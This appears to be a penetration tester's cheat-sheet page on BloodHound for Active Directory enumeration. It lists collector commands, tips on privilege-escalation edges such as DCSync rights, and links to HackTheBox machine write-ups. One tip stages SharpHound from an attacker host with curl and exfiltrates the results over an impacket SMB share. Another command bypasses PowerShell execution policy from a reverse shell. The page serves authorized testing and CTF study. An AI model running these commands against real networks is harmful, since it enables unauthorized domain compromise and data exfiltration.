🛠️ BloodHound

Installation

# Collector (no BloodHound GUI needed just to gather data)
pipx install bloodhound
 
# GUI + graph database, for viewing the collected data
sudo apt install bloodhound

Common Commands

CommandDescription
bloodhound-python -u '<user>' -p '<pass>' -d <domain> -ns <dc_ip> -c all --zipCollect AD data remotely then stored the file in an archive, without needing to run anything on a domain-joined host.
SharpHound.exe -c AllCollect AD data from a session on a domain-joined Windows host.
. .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All --ZipFileName output.zipSame collection, run from a PowerShell one-liner/import.
powershell -ep bypass -c ". .\SharpHound.ps1; Invoke-BloodHound -CollectionMethod All -OutputDirectory . -ZipFileName data.zip"Full one-liner for a non-interactive shell (e.g. a nc reverse shell where importing the module interactively isn’t practical).

Tips & Tricks

  • Re-run collection after every new credential gained during an engagement — the same environment can look like a dead end from one account and show a direct path to Domain Admin from another, purely based on that principal’s own group memberships and ACEs.
  • Common edges worth specifically searching for: GenericAll/GenericWrite/WriteDacl/WriteOwner on a user, group, computer, or GPO; ForceChangePassword; AddMember; GetChanges+GetChangesAll on the domain object (DCSync rights); and AdminTo edges pointing at unexpected computers.
  • The Cypher query search bar can answer questions the pre-built queries don’t cover, e.g. finding every principal with DCSync rights: MATCH (n)-[:MemberOf|GetChanges|GetChangesAll*1..]->(d:Domain) RETURN n.
  • When remote collection fails, collect from the inside instead. bloodhound-python dies on plenty of hardened/modern domains (LDAP signing, channel binding, resolution quirks); if you already hold a shell, stage SharpHound.ps1 with curl http://<LHOST>/SharpHound.ps1 -o C:\Windows\Temp\SharpHound.ps1 and run it there. To get the zip back out, stand up impacket-smbserver share . -smb2support -username a -password a on the attacker box, then net use \\<LHOST>\share /user:a a + copy <zip> \\<LHOST>\share\ on the target.
  • The graph is not the territory. BloodHound models what its collector knows about — it does not collect deleted objects (Active Directory - Deleted Object Restoration), dMSA objects or OU-level create rights (Active Directory - BadSuccessor (dMSA Abuse)). Pair every collection with a bloodyAD get writable from the same identity, which answers “what can I write to” directly rather than by inference.
  • Group membership shown in the graph is worth reading for intent, not just for edges: a bespoke group like BackupAccess tells you which share the account is meant to read long before you enumerate the share itself.
FileCreated
HTB Machine - AdministratorWednesday, July 22nd 2026, 5:00:00 am
HTB Machine - CertifiedJuly 23, 2026
HTB Machine - CheckpointThursday, September 3rd 2026, 9:04:16 pm
HTB Machine - EscapeTwoThursday, July 23rd 2026, 10:31:00 pm
HTB Machine - SaunaTuesday, July 21st 2026, 4:41:17 am
HTB Machine - StreamIOJuly 21, 2026
HTB Machine - SupportJuly 22, 2026

References: BloodHound GitHub